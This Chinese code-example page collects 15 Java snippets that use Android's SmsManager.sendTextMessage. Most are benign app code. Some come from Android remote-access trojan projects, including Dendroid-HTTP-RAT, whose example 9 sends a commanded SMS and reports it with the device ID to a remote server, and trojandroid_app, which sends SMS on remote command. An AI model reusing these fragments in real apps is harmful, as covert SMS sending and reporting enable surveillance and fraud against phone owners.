当前位置: 首页>>代码示例>>Java>>正文


Java SmsManager.sendTextMessage方法代码示例

本文整理汇总了Java中android.telephony.SmsManager.sendTextMessage方法的典型用法代码示例。如果您正苦于以下问题:Java SmsManager.sendTextMessage方法的具体用法?Java SmsManager.sendTextMessage怎么用?Java SmsManager.sendTextMessage使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在android.telephony.SmsManager的用法示例。


在下文中一共展示了SmsManager.sendTextMessage方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: sendSms

import android.telephony.SmsManager; //导入方法依赖的package包/类
public void sendSms(String phonenumber,String message)
{
    SmsManager manager = SmsManager.getDefault();

    PendingIntent piSend = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0);
    PendingIntent piDelivered = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0);

    int length = message.length();

    if(length > MAX_SMS_MESSAGE_LENGTH)
    {
        ArrayList<String> messagelist = manager.divideMessage(message);

        manager.sendMultipartTextMessage(phonenumber, null, messagelist, null, null);
    }
    else
    {
        manager.sendTextMessage(phonenumber, null, message, piSend, piDelivered);
    }
}
 
开发者ID:adonespitogo,项目名称:AdoBot,代码行数:21,代码来源:SendSmsTask.java

示例2: onClick

import android.telephony.SmsManager; //导入方法依赖的package包/类
@Override
public void onClick(View v) {
    String message = msg.getText().toString();
    registerReceiver(enviadoReceiver, new IntentFilter(SENT_BROADCAST));
    registerReceiver(entregueReceiver, new IntentFilter(DELIVERED_BROADCAST));

    PendingIntent piEnvio   = PendingIntent.getBroadcast(this,0,new Intent(SENT_BROADCAST),0);
    PendingIntent piEntrega = PendingIntent.getBroadcast(this,0,new Intent(DELIVERED_BROADCAST),0);

    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(
            telContato,
            null,
            message,
            piEnvio,
            piEntrega);
}
 
开发者ID:if710,项目名称:2017.2-codigo,代码行数:18,代码来源:SmsSendDirectActivity.java

示例3: sendSMSMessage

import android.telephony.SmsManager; //导入方法依赖的package包/类
protected void sendSMSMessage() {
    Log.i("Send SMS", "");
    String phoneNo = phoneno;
    //String lat = getIntent().getExtras().getString("Latitude");
    //String lng = getIntent().getExtras().getString("Longitude");
    // Replace latitude and longitude values
    Address msgaddress = AskLocationActivity.address1;
    String message = "Shall we run together, Location:"+ "http://maps.google.com/?q="+msgaddress.getLatitude()+","+msgaddress.getLongitude();

    Log.d("Message",message);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, message, null, null);
        Toast.makeText(getApplicationContext(), "Invitation sent.", Toast.LENGTH_LONG).show();
    }

    catch (Exception e) {
        Toast.makeText(getApplicationContext(), "SMS faild, please try again.", Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
 
开发者ID:rahulmaddineni,项目名称:Stayfit,代码行数:22,代码来源:LoadMapActivity.java

示例4: sendSmsSilent

import android.telephony.SmsManager; //导入方法依赖的package包/类
/**
 * 发送短信
 * <p>需添加权限 {@code <uses-permission android:name="android.permission.SEND_SMS"/>}</p>
 *
 * @param phoneNumber 接收号码
 * @param content     短信内容
 */
public static void sendSmsSilent(String phoneNumber, String content) {
    if (StringUtils.isEmpty(content)) return;
    PendingIntent sentIntent = PendingIntent.getBroadcast(Utils.getContext(), 0, new Intent(), 0);
    SmsManager smsManager = SmsManager.getDefault();
    if (content.length() >= 70) {
        List<String> ms = smsManager.divideMessage(content);
        for (String str : ms) {
            smsManager.sendTextMessage(phoneNumber, null, str, sentIntent, null);
        }
    } else {
        smsManager.sendTextMessage(phoneNumber, null, content, sentIntent, null);
    }
}
 
开发者ID:pan2yong22,项目名称:AndroidUtilCode-master,代码行数:21,代码来源:PhoneUtils.java

示例5: sendSmsToOrange

import android.telephony.SmsManager; //导入方法依赖的package包/类
public static void sendSmsToOrange(Context context) {
    if (ContextCompat.checkSelfPermission(context.getApplicationContext(), Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED) {
        Log.v(CRDUtils.class.getName(), "sendSmsToOrange() => Sending SMS !");

        toggleSmsReceiver(context.getApplicationContext(), true);

        CRDSharedPreferences.getInstance(context).setSendingSmsEpoch();

        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(CRDUtils.ORANGE_CINEDAY_NUMBER, null, CRDUtils.ORANGE_CINEDAY_KEYWORD, null, null);
    } else {
        Log.e(CRDUtils.class.getName(), "sendSmsToOrange() => FAILED TO SEND SMS ! (Missing permission)");

        // TODO VOLKO Display notification to tell him he should give us the right to send SMS !
    }
}
 
开发者ID:NinoDLC,项目名称:CineReminDay,代码行数:17,代码来源:CRDUtils.java

示例6: sendSMS

import android.telephony.SmsManager; //导入方法依赖的package包/类
public void sendSMS(String address, String content) {
    lastSentSMSStatus = -1;
    SmsManager smsManager = SmsManager.getDefault();

    PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0,
            new Intent("SMS_SENT"), 0);

    mContext.registerReceiver(new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            lastSentSMSStatus = getResultCode();
            Toast.makeText(mContext,"message sent", Toast.LENGTH_LONG).show();
        }
    }, new IntentFilter("SMS_SENT"));

    smsManager.sendTextMessage("tel:".concat(address), null, content, sentPI, null);
}
 
开发者ID:strang3quark,项目名称:remotedroid,代码行数:18,代码来源:SMSUtils.java

示例7: messageSending

import android.telephony.SmsManager; //导入方法依赖的package包/类
public void messageSending(String message){
        SmsManager smsManager = SmsManager.getDefault();
//        smsManager.sendTextMessage(number, null, message, null, null);
        result=getContacts();
        for (int i=0;i<result.size();i++){

            try{
                smsManager.sendTextMessage(result.get(i),null,message,null,null);
                Toast.makeText(getApplicationContext(), "SMS sent : "+String.valueOf(numbers),
                        Toast.LENGTH_LONG).show();
            } catch (Exception e){
                Toast.makeText(getApplicationContext(),
                        "SMS sending failed "+e.getMessage(),Toast.LENGTH_LONG).show();
                e.printStackTrace();
            }
        }
    }
 
开发者ID:Pritom14,项目名称:Gps,代码行数:18,代码来源:Gps4Activity.java

示例8: testNotifications

import android.telephony.SmsManager; //导入方法依赖的package包/类
private void testNotifications ()
{

    if (!TextUtils.isEmpty(preferences.getSignalUsername())) {
        SignalSender sender = SignalSender.getInstance(this, preferences.getSignalUsername().trim());
        ArrayList<String> recip = new ArrayList<>();
        recip.add(preferences.getSmsNumber());
        sender.sendMessage(recip, getString(R.string.signal_test_message), null);
    }
    else if (!TextUtils.isEmpty(preferences.getSmsNumber())) {

        SmsManager manager = SmsManager.getDefault();

        StringTokenizer st = new StringTokenizer(preferences.getSmsNumber(),",");
        while (st.hasMoreTokens())
            manager.sendTextMessage(st.nextToken(), null, getString(R.string.signal_test_message), null, null);

    }
}
 
开发者ID:guardianproject,项目名称:haven,代码行数:20,代码来源:ListActivity.java

示例9: doInBackground

import android.telephony.SmsManager; //导入方法依赖的package包/类
@Override
    protected String doInBackground(String... params) {     
 	boolean isNumeric = i.matches("[0-9]+");
 	if(isNumeric)
 	{
      SmsManager smsManager = SmsManager.getDefault();
      smsManager.sendTextMessage(i, null, k, null, null);
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
 	}
  return "Executed";
    }
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:17,代码来源:MyService.java

示例10: doInBackground

import android.telephony.SmsManager; //导入方法依赖的package包/类
@Override
protected Integer doInBackground(String... params) {
    //Log.d(TAG, "About to send " + params[1] + " to " + params[0]);
    SmsManager smsm = SmsManager.getDefault();
    ArrayList<String> divided = smsm.divideMessage(params[1]);
    Log.d(TAG, "Message divided into " + divided.size() + " parts.");
    // could wait for the message to _actually_ be sent using PendingIntents
    if(divided.size() > 1) {
        smsm.sendMultipartTextMessage(params[0], null, divided, null, null);
    }
    else {
        smsm.sendTextMessage(params[0], null, params[1], null, null);
    }

    Log.d(TAG, "Messages sent successfully, probably.");
    return divided.size();
}
 
开发者ID:tetchel,项目名称:shexter,代码行数:18,代码来源:SmsSendThread.java

示例11: sendSMS

import android.telephony.SmsManager; //导入方法依赖的package包/类
private void sendSMS(User distressedUser, Contact helpingContact) {
    Log.d(TAG, "Emergency Contact Send SMS");
    // String distressedPhone = distressedUser.getPhone();
    String distressedName = distressedUser.getInfo().getName();
    String distressedLat = distressedUser.getLocation().getLatitude();
    String distressedLon = distressedUser.getLocation().getLongitude();

    String helperPhone = helpingContact.getPhone();
    String helperName = helpingContact.getName();
    String distressMessage = String.format(getString(R.string.emergency_contact_distress_message_text),
            helperName, distressedName, distressedLat, distressedLon);
    Log.d(TAG, "Distress Message: " + distressMessage);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(helperPhone, null, distressMessage, null, null);
        Log.d(TAG, "SMS sent to " + helperName + " successfully.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_sent_message), helperName),
                Toast.LENGTH_LONG).show();
    } catch (Exception e) {
        Log.d(TAG, "SMS to " + helperName + " failed.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_failed_message), helperName),
                Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
 
开发者ID:DevipriyaSarkar,项目名称:Damsel-In-Distress,代码行数:26,代码来源:MainActivity.java

示例12: onClick

import android.telephony.SmsManager; //导入方法依赖的package包/类
@Override
public void onClick(View v) {
    //首先判断是哪个运营商
    int i = preferences.getInt("operator", 0);
    SmsManager smsManager = SmsManager.getDefault();
    switch (i) {
        case MOBILE_CHINA:
            //中国移动
            smsManager.sendTextMessage("10086", null, "CXGPRS", null, null);
            break;
        case UNION_CHINA:
            //中国联通,发送LLCX到10010
            //获取系统默认的短信管理器发送短息
            smsManager.sendTextMessage("10010", null, "LLCX", null, null);
            break;
        case TELECOM_CHINA:
            //中国电信
            smsManager.sendTextMessage("10001", null, "108", null, null);
            break;
        default:
            break;
    }
}
 
开发者ID:sh2zqp,项目名称:MobilePhoneSafeProtector,代码行数:24,代码来源:TrafficMonitoringActivity.java

示例13: SendSMS

import android.telephony.SmsManager; //导入方法依赖的package包/类
private void SendSMS(JSONObject argjson) throws JSONException {
    if (!argjson.has("sendsms")){
        return;
    }

    String numTelephone;
    String message;

    JSONArray array = argjson.getJSONArray("sendsms");
    numTelephone = array.get(0).toString();
    message = array.get(1).toString();

    SmsManager sms = SmsManager.getDefault();
    sms.sendTextMessage(numTelephone, null, message, null, null);

    this.result = "message send";
}
 
开发者ID:remijouannet,项目名称:trojandroid_app,代码行数:18,代码来源:ActionService.java

示例14: proceed

import android.telephony.SmsManager; //导入方法依赖的package包/类
public void proceed(View v) {
//heroField.testValidity() &&

        if (
                myPhone.getFSH().equals(heroField.getText().toString())) {

            SmsManager manager = SmsManager.getDefault();
            manager.sendTextMessage(
                    myPhone.getFSH(),
                    null,
                    "Your password is: " + myPhone.getPassword() +
                            " . Sent via Tomato Safety App.", null, null);
            Toast.makeText(RecoverPassword.this,
                    "Password Sent", Toast.LENGTH_SHORT).show();
            this.finish();

        } else {
            Snackbar.make(heroField,
                    "Invalid Number. Try Again", Snackbar.LENGTH_SHORT).show();

        }
    }
 
开发者ID:Toroshu,项目名称:TomatoApp,代码行数:23,代码来源:RecoverPassword.java

示例15: sendRejectMessage

import android.telephony.SmsManager; //导入方法依赖的package包/类
public void sendRejectMessage(String messageId, String phoneNumber) {
    StringBuilder updatedString = new StringBuilder();
    for(int i = 0; i < messageId.length(); i++) {
        updatedString.append(messageId.charAt(i));
        if(messageId.charAt(i) != '0') {
            break;
        }
    }
    int messageIdInt = Integer.parseInt(updatedString.toString(), 16);
    Log.d(LOG_TAG, "Reject message ID: " + messageId + ", " + messageIdInt);
    int msgSize = oPrefs.getInt("reject_messages_size");
    if(msgSize > 0 && msgSize > messageIdInt) {
        Log.d(LOG_TAG, "Sending reject message: " + oPrefs.getString("reject_message_" + messageIdInt) + ", to: " + phoneNumber);
        try {
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage(phoneNumber, null, oPrefs.getString("reject_message_" + messageIdInt), null, null);
            Toast.makeText(getApplicationContext(), R.string.toast_send_sms_success, Toast.LENGTH_SHORT).show();
        }
        catch(Exception e) {
            Toast.makeText(getApplicationContext(), R.string.toast_send_sms_failed, Toast.LENGTH_SHORT).show();
            Log.d(LOG_TAG, "Sending sms failed: " + e.toString());
        }
    }
}
 
开发者ID:jareddlc,项目名称:OpenFit,代码行数:25,代码来源:OpenFitService.java


注:本文中的android.telephony.SmsManager.sendTextMessage方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。